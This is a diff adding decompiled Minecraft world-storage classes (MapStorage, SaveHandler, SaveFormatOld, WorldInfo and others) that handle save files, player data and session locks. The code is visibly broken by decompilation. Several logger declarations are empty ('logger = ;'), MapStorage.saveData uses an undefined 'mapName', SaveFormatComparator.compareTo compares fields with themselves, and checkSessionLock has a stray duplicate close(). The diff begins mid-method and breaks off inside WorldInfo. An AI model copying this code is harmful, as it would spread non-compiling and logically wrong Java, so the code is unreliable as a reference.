+    public Packet func_176101_a(ItemStack p_176101_1_)
+    {
+      if (field_176105_d)
+      {
+        field_176105_d = false;
+        return new S34PacketMaps(p_176101_1_.getMetadata(), scale, playersVisibleOnMap.values(), colors, field_176106_e, field_176103_f, field_176104_g + 1 - field_176106_e, field_176108_h + 1 - field_176103_f);
+      }
+      
+
+      return field_176109_i++ % 5 == 0 ? new S34PacketMaps(p_176101_1_.getMetadata(), scale, playersVisibleOnMap.values(), colors, 0, 0, 0, 0) : null;
+    }
+    
+
+    public void func_176102_a(int p_176102_1_, int p_176102_2_)
+    {
+      if (field_176105_d)
+      {
+        field_176106_e = Math.min(field_176106_e, p_176102_1_);
+        field_176103_f = Math.min(field_176103_f, p_176102_2_);
+        field_176104_g = Math.max(field_176104_g, p_176102_1_);
+        field_176108_h = Math.max(field_176108_h, p_176102_2_);
+      }
+      else
+      {
+        field_176105_d = true;
+        field_176106_e = p_176102_1_;
+        field_176103_f = p_176102_2_;
+        field_176104_g = p_176102_1_;
+        field_176108_h = p_176102_2_;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/storage/MapStorage.java b/src/minecraft/net/minecraft/world/storage/MapStorage.java
new file mode 100644
index 0000000..a720d1b
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/storage/MapStorage.java
@@ -0,0 +1,249 @@
+package net.minecraft.world.storage;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.lang.reflect.Constructor;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import net.minecraft.nbt.CompressedStreamTools;
+import net.minecraft.nbt.NBTBase;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagShort;
+import net.minecraft.world.WorldSavedData;
+
+public class MapStorage
+{
+  private ISaveHandler saveHandler;
+  protected Map loadedDataMap = Maps.newHashMap();
+  
+
+  private List loadedDataList = Lists.newArrayList();
+  
+
+
+
+  private Map idCounts = Maps.newHashMap();
+  private static final String __OBFID = "CL_00000604";
+  
+  public MapStorage(ISaveHandler p_i2162_1_)
+  {
+    saveHandler = p_i2162_1_;
+    loadIdCounts();
+  }
+  
+
+
+
+
+  public WorldSavedData loadData(Class p_75742_1_, String p_75742_2_)
+  {
+    WorldSavedData var3 = (WorldSavedData)loadedDataMap.get(p_75742_2_);
+    
+    if (var3 != null)
+    {
+      return var3;
+    }
+    
+
+    if (saveHandler != null)
+    {
+      try
+      {
+        File var4 = saveHandler.getMapFileFromName(p_75742_2_);
+        
+        if ((var4 != null) && (var4.exists()))
+        {
+          try
+          {
+            var3 = (WorldSavedData)p_75742_1_.getConstructor(new Class[] { String.class }).newInstance(new Object[] { p_75742_2_ });
+          }
+          catch (Exception var7)
+          {
+            throw new RuntimeException("Failed to instantiate " + p_75742_1_.toString(), var7);
+          }
+          
+          FileInputStream var5 = new FileInputStream(var4);
+          NBTTagCompound var6 = CompressedStreamTools.readCompressed(var5);
+          var5.close();
+          var3.readFromNBT(var6.getCompoundTag("data"));
+        }
+      }
+      catch (Exception var8)
+      {
+        var8.printStackTrace();
+      }
+    }
+    
+    if (var3 != null)
+    {
+      loadedDataMap.put(p_75742_2_, var3);
+      loadedDataList.add(var3);
+    }
+    
+    return var3;
+  }
+  
+
+
+
+
+  public void setData(String p_75745_1_, WorldSavedData p_75745_2_)
+  {
+    if (loadedDataMap.containsKey(p_75745_1_))
+    {
+      loadedDataList.remove(loadedDataMap.remove(p_75745_1_));
+    }
+    
+    loadedDataMap.put(p_75745_1_, p_75745_2_);
+    loadedDataList.add(p_75745_2_);
+  }
+  
+
+
+
+  public void saveAllData()
+  {
+    for (int var1 = 0; var1 < loadedDataList.size(); var1++)
+    {
+      WorldSavedData var2 = (WorldSavedData)loadedDataList.get(var1);
+      
+      if (var2.isDirty())
+      {
+        saveData(var2);
+        var2.setDirty(false);
+      }
+    }
+  }
+  
+
+
+
+  private void saveData(WorldSavedData p_75747_1_)
+  {
+    if (saveHandler != null)
+    {
+      try
+      {
+        File var2 = saveHandler.getMapFileFromName(mapName);
+        
+        if (var2 != null)
+        {
+          NBTTagCompound var3 = new NBTTagCompound();
+          p_75747_1_.writeToNBT(var3);
+          NBTTagCompound var4 = new NBTTagCompound();
+          var4.setTag("data", var3);
+          FileOutputStream var5 = new FileOutputStream(var2);
+          CompressedStreamTools.writeCompressed(var4, var5);
+          var5.close();
+        }
+      }
+      catch (Exception var6)
+      {
+        var6.printStackTrace();
+      }
+    }
+  }
+  
+
+
+
+  private void loadIdCounts()
+  {
+    try
+    {
+      idCounts.clear();
+      
+      if (saveHandler == null)
+      {
+        return;
+      }
+      
+      File var1 = saveHandler.getMapFileFromName("idcounts");
+      
+      if ((var1 != null) && (var1.exists()))
+      {
+        DataInputStream var2 = new DataInputStream(new FileInputStream(var1));
+        NBTTagCompound var3 = CompressedStreamTools.read(var2);
+        var2.close();
+        Iterator var4 = var3.getKeySet().iterator();
+        
+        while (var4.hasNext())
+        {
+          String var5 = (String)var4.next();
+          NBTBase var6 = var3.getTag(var5);
+          
+          if ((var6 instanceof NBTTagShort))
+          {
+            NBTTagShort var7 = (NBTTagShort)var6;
+            short var9 = var7.getShort();
+            idCounts.put(var5, Short.valueOf(var9));
+          }
+        }
+      }
+    }
+    catch (Exception var10)
+    {
+      var10.printStackTrace();
+    }
+  }
+  
+
+
+
+  public int getUniqueDataId(String p_75743_1_)
+  {
+    Short var2 = (Short)idCounts.get(p_75743_1_);
+    
+    if (var2 == null)
+    {
+      var2 = Short.valueOf((short)0);
+    }
+    else
+    {
+      var2 = Short.valueOf((short)(var2.shortValue() + 1));
+    }
+    
+    idCounts.put(p_75743_1_, var2);
+    
+    if (saveHandler == null)
+    {
+      return var2.shortValue();
+    }
+    
+
+    try
+    {
+      File var3 = saveHandler.getMapFileFromName("idcounts");
+      
+      if (var3 != null)
+      {
+        NBTTagCompound var4 = new NBTTagCompound();
+        Iterator var5 = idCounts.keySet().iterator();
+        
+        while (var5.hasNext())
+        {
+          String var6 = (String)var5.next();
+          short var7 = ((Short)idCounts.get(var6)).shortValue();
+          var4.setShort(var6, var7);
+        }
+        
+        DataOutputStream var9 = new DataOutputStream(new FileOutputStream(var3));
+        CompressedStreamTools.write(var4, var9);
+        var9.close();
+      }
+    }
+    catch (Exception var8)
+    {
+      var8.printStackTrace();
+    }
+    
+    return var2.shortValue();
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/storage/SaveDataMemoryStorage.java b/src/minecraft/net/minecraft/world/storage/SaveDataMemoryStorage.java
new file mode 100644
index 0000000..cbeefe0
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/storage/SaveDataMemoryStorage.java
@@ -0,0 +1,43 @@
+package net.minecraft.world.storage;
+
+import net.minecraft.world.WorldSavedData;
+
+public class SaveDataMemoryStorage extends MapStorage
+{
+  private static final String __OBFID = "CL_00001963";
+  
+  public SaveDataMemoryStorage()
+  {
+    super(null);
+  }
+  
+
+
+
+
+  public WorldSavedData loadData(Class p_75742_1_, String p_75742_2_)
+  {
+    return (WorldSavedData)loadedDataMap.get(p_75742_2_);
+  }
+  
+
+
+
+  public void setData(String p_75745_1_, WorldSavedData p_75745_2_)
+  {
+    loadedDataMap.put(p_75745_1_, p_75745_2_);
+  }
+  
+
+
+
+  public void saveAllData() {}
+  
+
+
+
+  public int getUniqueDataId(String p_75743_1_)
+  {
+    return 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/storage/SaveFormatComparator.java b/src/minecraft/net/minecraft/world/storage/SaveFormatComparator.java
new file mode 100644
index 0000000..49c725a
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/storage/SaveFormatComparator.java
@@ -0,0 +1,95 @@
+package net.minecraft.world.storage;
+
+import net.minecraft.world.WorldSettings.GameType;
+
+
+
+
+
+public class SaveFormatComparator
+  implements Comparable
+{
+  private final String fileName;
+  private final String displayName;
+  private final long lastTimePlayed;
+  private final long sizeOnDisk;
+  private final boolean requiresConversion;
+  private final WorldSettings.GameType theEnumGameType;
+  private final boolean hardcore;
+  private final boolean cheatsEnabled;
+  private static final String __OBFID = "CL_00000601";
+  
+  public SaveFormatComparator(String p_i2161_1_, String p_i2161_2_, long p_i2161_3_, long p_i2161_5_, WorldSettings.GameType p_i2161_7_, boolean p_i2161_8_, boolean p_i2161_9_, boolean p_i2161_10_)
+  {
+    fileName = p_i2161_1_;
+    displayName = p_i2161_2_;
+    lastTimePlayed = p_i2161_3_;
+    sizeOnDisk = p_i2161_5_;
+    theEnumGameType = p_i2161_7_;
+    requiresConversion = p_i2161_8_;
+    hardcore = p_i2161_9_;
+    cheatsEnabled = p_i2161_10_;
+  }
+  
+
+
+
+  public String getFileName()
+  {
+    return fileName;
+  }
+  
+
+
+
+  public String getDisplayName()
+  {
+    return displayName;
+  }
+  
+  public long func_154336_c()
+  {
+    return sizeOnDisk;
+  }
+  
+  public boolean requiresConversion()
+  {
+    return requiresConversion;
+  }
+  
+  public long getLastTimePlayed()
+  {
+    return lastTimePlayed;
+  }
+  
+  public int compareTo(SaveFormatComparator p_compareTo_1_)
+  {
+    return lastTimePlayed > lastTimePlayed ? -1 : lastTimePlayed < lastTimePlayed ? 1 : fileName.compareTo(fileName);
+  }
+  
+
+
+
+  public WorldSettings.GameType getEnumGameType()
+  {
+    return theEnumGameType;
+  }
+  
+  public boolean isHardcoreModeEnabled()
+  {
+    return hardcore;
+  }
+  
+
+
+
+  public boolean getCheatsEnabled()
+  {
+    return cheatsEnabled;
+  }
+  
+  public int compareTo(Object p_compareTo_1_)
+  {
+    return compareTo((SaveFormatComparator)p_compareTo_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/storage/SaveFormatOld.java b/src/minecraft/net/minecraft/world/storage/SaveFormatOld.java
new file mode 100644
index 0000000..e07e96a
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/storage/SaveFormatOld.java
@@ -0,0 +1,274 @@
+package net.minecraft.world.storage;
+
+import com.google.common.collect.Lists;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.util.ArrayList;
+import java.util.List;
+import net.minecraft.client.AnvilConverterException;
+import net.minecraft.nbt.CompressedStreamTools;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.IProgressUpdate;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class SaveFormatOld implements ISaveFormat
+{
+  private static final Logger logger = ;
+  
+
+  protected final File savesDirectory;
+  
+  private static final String __OBFID = "CL_00000586";
+  
+
+  public SaveFormatOld(File p_i2147_1_)
+  {
+    if (!p_i2147_1_.exists())
+    {
+      p_i2147_1_.mkdirs();
+    }
+    
+    savesDirectory = p_i2147_1_;
+  }
+  
+  public String func_154333_a()
+  {
+    return "Old Format";
+  }
+  
+  public List getSaveList() throws AnvilConverterException
+  {
+    ArrayList var1 = Lists.newArrayList();
+    
+    for (int var2 = 0; var2 < 5; var2++)
+    {
+      String var3 = "World" + (var2 + 1);
+      WorldInfo var4 = getWorldInfo(var3);
+      
+      if (var4 != null)
+      {
+        var1.add(new SaveFormatComparator(var3, "", var4.getLastTimePlayed(), var4.getSizeOnDisk(), var4.getGameType(), false, var4.isHardcoreModeEnabled(), var4.areCommandsAllowed()));
+      }
+    }
+    
+    return var1;
+  }
+  
+
+
+  public void flushCache() {}
+  
+
+  public WorldInfo getWorldInfo(String p_75803_1_)
+  {
+    File var2 = new File(savesDirectory, p_75803_1_);
+    
+    if (!var2.exists())
+    {
+      return null;
+    }
+    
+
+    File var3 = new File(var2, "level.dat");
+    
+
+
+    if (var3.exists())
+    {
+      try
+      {
+        NBTTagCompound var4 = CompressedStreamTools.readCompressed(new FileInputStream(var3));
+        NBTTagCompound var5 = var4.getCompoundTag("Data");
+        return new WorldInfo(var5);
+      }
+      catch (Exception var7)
+      {
+        logger.error("Exception reading " + var3, var7);
+      }
+    }
+    
+    var3 = new File(var2, "level.dat_old");
+    
+    if (var3.exists())
+    {
+      try
+      {
+        NBTTagCompound var4 = CompressedStreamTools.readCompressed(new FileInputStream(var3));
+        NBTTagCompound var5 = var4.getCompoundTag("Data");
+        return new WorldInfo(var5);
+      }
+      catch (Exception var6)
+      {
+        logger.error("Exception reading " + var3, var6);
+      }
+    }
+    
+    return null;
+  }
+  
+
+
+
+
+
+
+  public void renameWorld(String p_75806_1_, String p_75806_2_)
+  {
+    File var3 = new File(savesDirectory, p_75806_1_);
+    
+    if (var3.exists())
+    {
+      File var4 = new File(var3, "level.dat");
+      
+      if (var4.exists())
+      {
+        try
+        {
+          NBTTagCompound var5 = CompressedStreamTools.readCompressed(new FileInputStream(var4));
+          NBTTagCompound var6 = var5.getCompoundTag("Data");
+          var6.setString("LevelName", p_75806_2_);
+          CompressedStreamTools.writeCompressed(var5, new FileOutputStream(var4));
+        }
+        catch (Exception var7)
+        {
+          var7.printStackTrace();
+        }
+      }
+    }
+  }
+  
+  public boolean func_154335_d(String p_154335_1_)
+  {
+    File var2 = new File(savesDirectory, p_154335_1_);
+    
+    if (var2.exists())
+    {
+      return false;
+    }
+    
+
+    try
+    {
+      var2.mkdir();
+      var2.delete();
+      return true;
+    }
+    catch (Throwable var4)
+    {
+      logger.warn("Couldn't make new level", var4); }
+    return false;
+  }
+  
+
+
+
+
+
+
+  public boolean deleteWorldDirectory(String p_75802_1_)
+  {
+    File var2 = new File(savesDirectory, p_75802_1_);
+    
+    if (!var2.exists())
+    {
+      return true;
+    }
+    
+
+    logger.info("Deleting level " + p_75802_1_);
+    
+    for (int var3 = 1; var3 <= 5; var3++)
+    {
+      logger.info("Attempt " + var3 + "...");
+      
+      if (deleteFiles(var2.listFiles())) {
+        break;
+      }
+      
+
+      logger.warn("Unsuccessful in deleting contents.");
+      
+      if (var3 < 5)
+      {
+        try
+        {
+          Thread.sleep(500L);
+        }
+        catch (InterruptedException localInterruptedException) {}
+      }
+    }
+    
+
+
+
+    return var2.delete();
+  }
+  
+
+
+
+
+
+  protected static boolean deleteFiles(File[] p_75807_0_)
+  {
+    for (int var1 = 0; var1 < p_75807_0_.length; var1++)
+    {
+      File var2 = p_75807_0_[var1];
+      logger.debug("Deleting " + var2);
+      
+      if ((var2.isDirectory()) && (!deleteFiles(var2.listFiles())))
+      {
+        logger.warn("Couldn't delete directory " + var2);
+        return false;
+      }
+      
+      if (!var2.delete())
+      {
+        logger.warn("Couldn't delete file " + var2);
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+  public ISaveHandler getSaveLoader(String p_75804_1_, boolean p_75804_2_)
+  {
+    return new SaveHandler(savesDirectory, p_75804_1_, p_75804_2_);
+  }
+  
+  public boolean func_154334_a(String p_154334_1_)
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean isOldMapFormat(String p_75801_1_)
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean convertMapFormat(String p_75805_1_, IProgressUpdate p_75805_2_)
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean canLoadWorld(String p_90033_1_)
+  {
+    File var2 = new File(savesDirectory, p_90033_1_);
+    return var2.isDirectory();
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/storage/SaveHandler.java b/src/minecraft/net/minecraft/world/storage/SaveHandler.java
new file mode 100644
index 0000000..874f14f
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/storage/SaveHandler.java
@@ -0,0 +1,353 @@
+package net.minecraft.world.storage;
+
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.UUID;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.nbt.CompressedStreamTools;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.world.MinecraftException;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.chunk.storage.IChunkLoader;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class SaveHandler implements ISaveHandler, IPlayerFileData
+{
+  private static final Logger logger = ;
+  
+
+  private final File worldDirectory;
+  
+
+  private final File playersDirectory;
+  
+
+  private final File mapDataDir;
+  
+
+  private final long initializationTime = net.minecraft.server.MinecraftServer.getCurrentTimeMillis();
+  
+  private final String saveDirectoryName;
+  
+  private static final String __OBFID = "CL_00000585";
+  
+  public SaveHandler(File p_i2146_1_, String p_i2146_2_, boolean p_i2146_3_)
+  {
+    worldDirectory = new File(p_i2146_1_, p_i2146_2_);
+    worldDirectory.mkdirs();
+    playersDirectory = new File(worldDirectory, "playerdata");
+    mapDataDir = new File(worldDirectory, "data");
+    mapDataDir.mkdirs();
+    saveDirectoryName = p_i2146_2_;
+    
+    if (p_i2146_3_)
+    {
+      playersDirectory.mkdirs();
+    }
+    
+    setSessionLock();
+  }
+  
+
+
+
+  private void setSessionLock()
+  {
+    try
+    {
+      File var1 = new File(worldDirectory, "session.lock");
+      DataOutputStream var2 = new DataOutputStream(new FileOutputStream(var1));
+      
+      try
+      {
+        var2.writeLong(initializationTime);
+      }
+      finally
+      {
+        var2.close();
+      }
+    }
+    catch (IOException var7)
+    {
+      var7.printStackTrace();
+      throw new RuntimeException("Failed to check session lock, aborting");
+    }
+  }
+  
+
+
+
+  public File getWorldDirectory()
+  {
+    return worldDirectory;
+  }
+  
+
+
+  public void checkSessionLock()
+    throws MinecraftException
+  {
+    try
+    {
+      File var1 = new File(worldDirectory, "session.lock");
+      DataInputStream var2 = new DataInputStream(new FileInputStream(var1));
+      
+      try
+      {
+        if (var2.readLong() != initializationTime)
+        {
+          throw new MinecraftException("The save is being accessed from another location, aborting");
+        }
+      }
+      finally
+      {
+        var2.close(); } var2.close();
+
+    }
+    catch (IOException var7)
+    {
+      throw new MinecraftException("Failed to check session lock, aborting");
+    }
+  }
+  
+
+
+
+  public IChunkLoader getChunkLoader(WorldProvider p_75763_1_)
+  {
+    throw new RuntimeException("Old Chunk Storage is no longer supported.");
+  }
+  
+
+
+
+  public WorldInfo loadWorldInfo()
+  {
+    File var1 = new File(worldDirectory, "level.dat");
+    
+
+
+    if (var1.exists())
+    {
+      try
+      {
+        NBTTagCompound var2 = CompressedStreamTools.readCompressed(new FileInputStream(var1));
+        NBTTagCompound var3 = var2.getCompoundTag("Data");
+        return new WorldInfo(var3);
+      }
+      catch (Exception var5)
+      {
+        var5.printStackTrace();
+      }
+    }
+    
+    var1 = new File(worldDirectory, "level.dat_old");
+    
+    if (var1.exists())
+    {
+      try
+      {
+        NBTTagCompound var2 = CompressedStreamTools.readCompressed(new FileInputStream(var1));
+        NBTTagCompound var3 = var2.getCompoundTag("Data");
+        return new WorldInfo(var3);
+      }
+      catch (Exception var4)
+      {
+        var4.printStackTrace();
+      }
+    }
+    
+    return null;
+  }
+  
+
+
+
+  public void saveWorldInfoWithPlayer(WorldInfo p_75755_1_, NBTTagCompound p_75755_2_)
+  {
+    NBTTagCompound var3 = p_75755_1_.cloneNBTCompound(p_75755_2_);
+    NBTTagCompound var4 = new NBTTagCompound();
+    var4.setTag("Data", var3);
+    
+    try
+    {
+      File var5 = new File(worldDirectory, "level.dat_new");
+      File var6 = new File(worldDirectory, "level.dat_old");
+      File var7 = new File(worldDirectory, "level.dat");
+      CompressedStreamTools.writeCompressed(var4, new FileOutputStream(var5));
+      
+      if (var6.exists())
+      {
+        var6.delete();
+      }
+      
+      var7.renameTo(var6);
+      
+      if (var7.exists())
+      {
+        var7.delete();
+      }
+      
+      var5.renameTo(var7);
+      
+      if (var5.exists())
+      {
+        var5.delete();
+      }
+    }
+    catch (Exception var8)
+    {
+      var8.printStackTrace();
+    }
+  }
+  
+
+
+
+  public void saveWorldInfo(WorldInfo p_75761_1_)
+  {
+    NBTTagCompound var2 = p_75761_1_.getNBTTagCompound();
+    NBTTagCompound var3 = new NBTTagCompound();
+    var3.setTag("Data", var2);
+    
+    try
+    {
+      File var4 = new File(worldDirectory, "level.dat_new");
+      File var5 = new File(worldDirectory, "level.dat_old");
+      File var6 = new File(worldDirectory, "level.dat");
+      CompressedStreamTools.writeCompressed(var3, new FileOutputStream(var4));
+      
+      if (var5.exists())
+      {
+        var5.delete();
+      }
+      
+      var6.renameTo(var5);
+      
+      if (var6.exists())
+      {
+        var6.delete();
+      }
+      
+      var4.renameTo(var6);
+      
+      if (var4.exists())
+      {
+        var4.delete();
+      }
+    }
+    catch (Exception var7)
+    {
+      var7.printStackTrace();
+    }
+  }
+  
+
+
+
+  public void writePlayerData(EntityPlayer p_75753_1_)
+  {
+    try
+    {
+      NBTTagCompound var2 = new NBTTagCompound();
+      p_75753_1_.writeToNBT(var2);
+      File var3 = new File(playersDirectory, p_75753_1_.getUniqueID().toString() + ".dat.tmp");
+      File var4 = new File(playersDirectory, p_75753_1_.getUniqueID().toString() + ".dat");
+      CompressedStreamTools.writeCompressed(var2, new FileOutputStream(var3));
+      
+      if (var4.exists())
+      {
+        var4.delete();
+      }
+      
+      var3.renameTo(var4);
+    }
+    catch (Exception var5)
+    {
+      logger.warn("Failed to save player data for " + p_75753_1_.getName());
+    }
+  }
+  
+
+
+
+  public NBTTagCompound readPlayerData(EntityPlayer p_75752_1_)
+  {
+    NBTTagCompound var2 = null;
+    
+    try
+    {
+      File var3 = new File(playersDirectory, p_75752_1_.getUniqueID().toString() + ".dat");
+      
+      if ((var3.exists()) && (var3.isFile()))
+      {
+        var2 = CompressedStreamTools.readCompressed(new FileInputStream(var3));
+      }
+    }
+    catch (Exception var4)
+    {
+      logger.warn("Failed to load player data for " + p_75752_1_.getName());
+    }
+    
+    if (var2 != null)
+    {
+      p_75752_1_.readFromNBT(var2);
+    }
+    
+    return var2;
+  }
+  
+  public IPlayerFileData getPlayerNBTManager()
+  {
+    return this;
+  }
+  
+
+
+
+  public String[] getAvailablePlayerDat()
+  {
+    String[] var1 = playersDirectory.list();
+    
+    if (var1 == null)
+    {
+      var1 = new String[0];
+    }
+    
+    for (int var2 = 0; var2 < var1.length; var2++)
+    {
+      if (var1[var2].endsWith(".dat"))
+      {
+        var1[var2] = var1[var2].substring(0, var1[var2].length() - 4);
+      }
+    }
+    
+    return var1;
+  }
+  
+
+
+
+  public void flush() {}
+  
+
+
+
+  public File getMapFileFromName(String p_75758_1_)
+  {
+    return new File(mapDataDir, p_75758_1_ + ".dat");
+  }
+  
+
+
+
+  public String getWorldDirectoryName()
+  {
+    return saveDirectoryName;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/storage/SaveHandlerMP.java b/src/minecraft/net/minecraft/world/storage/SaveHandlerMP.java
new file mode 100644
index 0000000..0a8d477
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/storage/SaveHandlerMP.java
@@ -0,0 +1,77 @@
+package net.minecraft.world.storage;
+
+import java.io.File;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.world.MinecraftException;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.chunk.storage.IChunkLoader;
+
+public class SaveHandlerMP
+  implements ISaveHandler
+{
+  private static final String __OBFID = "CL_00000602";
+  
+  public SaveHandlerMP() {}
+  
+  public WorldInfo loadWorldInfo()
+  {
+    return null;
+  }
+  
+
+
+  public void checkSessionLock()
+    throws MinecraftException
+  {}
+  
+
+
+  public IChunkLoader getChunkLoader(WorldProvider p_75763_1_)
+  {
+    return null;
+  }
+  
+
+
+  public void saveWorldInfoWithPlayer(WorldInfo p_75755_1_, NBTTagCompound p_75755_2_) {}
+  
+
+
+  public void saveWorldInfo(WorldInfo p_75761_1_) {}
+  
+
+
+  public IPlayerFileData getPlayerNBTManager()
+  {
+    return null;
+  }
+  
+
+
+
+  public void flush() {}
+  
+
+
+
+  public File getMapFileFromName(String p_75758_1_)
+  {
+    return null;
+  }
+  
+
+
+
+  public String getWorldDirectoryName()
+  {
+    return "none";
+  }
+  
+
+
+
+  public File getWorldDirectory()
+  {
+    return null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/storage/ThreadedFileIOBase.java b/src/minecraft/net/minecraft/world/storage/ThreadedFileIOBase.java
new file mode 100644
index 0000000..823be1a
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/storage/ThreadedFileIOBase.java
@@ -0,0 +1,99 @@
+package net.minecraft.world.storage;
+
+import com.google.common.collect.Lists;
+import java.util.Collections;
+import java.util.List;
+
+public class ThreadedFileIOBase
+  implements Runnable
+{
+  private static final ThreadedFileIOBase threadedIOInstance = new ThreadedFileIOBase();
+  private List threadedIOQueue = Collections.synchronizedList(Lists.newArrayList());
+  private volatile long writeQueuedCounter;
+  private volatile long savedIOCounter;
+  private volatile boolean isThreadWaiting;
+  private static final String __OBFID = "CL_00000605";
+  
+  private ThreadedFileIOBase()
+  {
+    Thread var1 = new Thread(this, "File IO Thread");
+    var1.setPriority(1);
+    var1.start();
+  }
+  
+  public static ThreadedFileIOBase func_178779_a()
+  {
+    return threadedIOInstance;
+  }
+  
+  public void run()
+  {
+    for (;;)
+    {
+      processQueue();
+    }
+  }
+  
+
+
+
+  private void processQueue()
+  {
+    for (int var1 = 0; var1 < threadedIOQueue.size(); var1++)
+    {
+      IThreadedFileIO var2 = (IThreadedFileIO)threadedIOQueue.get(var1);
+      boolean var3 = var2.writeNextIO();
+      
+      if (!var3)
+      {
+        threadedIOQueue.remove(var1--);
+        savedIOCounter += 1L;
+      }
+      
+      try
+      {
+        Thread.sleep(isThreadWaiting ? 0L : 10L);
+      }
+      catch (InterruptedException var6)
+      {
+        var6.printStackTrace();
+      }
+    }
+    
+    if (threadedIOQueue.isEmpty())
+    {
+      try
+      {
+        Thread.sleep(25L);
+      }
+      catch (InterruptedException var5)
+      {
+        var5.printStackTrace();
+      }
+    }
+  }
+  
+
+
+
+  public void queueIO(IThreadedFileIO p_75735_1_)
+  {
+    if (!threadedIOQueue.contains(p_75735_1_))
+    {
+      writeQueuedCounter += 1L;
+      threadedIOQueue.add(p_75735_1_);
+    }
+  }
+  
+  public void waitForFinish() throws InterruptedException
+  {
+    isThreadWaiting = true;
+    
+    while (writeQueuedCounter != savedIOCounter)
+    {
+      Thread.sleep(10L);
+    }
+    
+    isThreadWaiting = false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/storage/WorldInfo.java b/src/minecraft/net/minecraft/world/storage/WorldInfo.java
new file mode 100644
index 0000000..3b11fea
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/storage/WorldInfo.java
@@ -0,0 +1,935 @@
+package net.minecraft.world.storage;
+
+import java.util.concurrent.Callable;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.GameRules;
+import net.minecraft.world.WorldSettings;
+import net.minecraft.world.WorldSettings.GameType;
+import net.minecraft.world.WorldType;
+
+public class WorldInfo
+{
+  public static final EnumDifficulty DEFAULT_DIFFICULTY = EnumDifficulty.NORMAL;
+  
+  private long randomSeed;
+  
+  private WorldType terrainType;
+  
+  private String generatorOptions;
+  
+  private int spawnX;
+  
+  private int spawnY;
+  
+  private int spawnZ;
+  
+  private long totalTime;
+  
+  private long worldTime;
+  
+  private long lastTimePlayed;
+  
+  private long sizeOnDisk;
+  
+  private NBTTagCompound playerTag;
+  
+  private int dimension;
+  
+  private String levelName;
+  
+  private int saveVersion;
+  
+  private int cleanWeatherTime;
+  
+  private boolean raining;
+  
+  private int rainTime;
+  
+  private boolean thundering;
+  
+  private int thunderTime;
+  
+  private WorldSettings.GameType theGameType;
+  
+  private boolean mapFeaturesEnabled;
+  
+  private boolean hardcore;
+  
+  private boolean allowCommands;
+  
+  private boolean initialized;
+  
+  private EnumDifficulty difficulty;
+  
+  private boolean difficultyLocked;
+  
+  private double borderCenterX;
+  
+  private double borderCenterZ;
+  
+  private double borderSize;
+  
+  private long borderSizeLerpTime;
+  
+  private double borderSizeLerpTarget;
+  
+  private double borderSafeZone;
+  
+  private double borderDamagePerBlock;
+  
+  private int borderWarningDistance;
+  
+  private int borderWarningTime;
+  
+  private GameRules theGameRules;
+  private static final String __OBFID = "CL_00000587";
+  
+  protected WorldInfo()
+  {
+    terrainType = WorldType.DEFAULT;
+    generatorOptions = "";
+    borderCenterX = 0.0D;
+    borderCenterZ = 0.0D;
+    borderSize = 6.0E7D;
+    borderSizeLerpTime = 0L;
+    borderSizeLerpTarget = 0.0D;
+    borderSafeZone = 5.0D;
+    borderDamagePerBlock = 0.2D;
+    borderWarningDistance = 5;
+    borderWarningTime = 15;
+    theGameRules = new GameRules();
+  }
+  
+  public WorldInfo(NBTTagCompound nbt)
+  {
+    terrainType = WorldType.DEFAULT;
+    generatorOptions = "";
+    borderCenterX = 0.0D;
+    borderCenterZ = 0.0D;
+    borderSize = 6.0E7D;
+    borderSizeLerpTime = 0L;
+    borderSizeLerpTarget = 0.0D;
+    borderSafeZone = 5.0D;
+    borderDamagePerBlock = 0.2D;
+    borderWarningDistance = 5;
+    borderWarningTime = 15;
+    theGameRules = new GameRules();
+    randomSeed = nbt.getLong("RandomSeed");
+    
+    if (nbt.hasKey("generatorName", 8))
+    {
+      String var2 = nbt.getString("generatorName");
+      terrainType = WorldType.parseWorldType(var2);
+      
+      if (terrainType == null)
+      {
+        terrainType = WorldType.DEFAULT;
+      }
+      else if (terrainType.isVersioned())
+      {
+        int var3 = 0;
+        
+        if (nbt.hasKey("generatorVersion", 99))
+        {
+          var3 = nbt.getInteger("generatorVersion");
+        }
+        
+        terrainType = terrainType.getWorldTypeForGeneratorVersion(var3);
+      }
+      
+      if (nbt.hasKey("generatorOptions", 8))
+      {
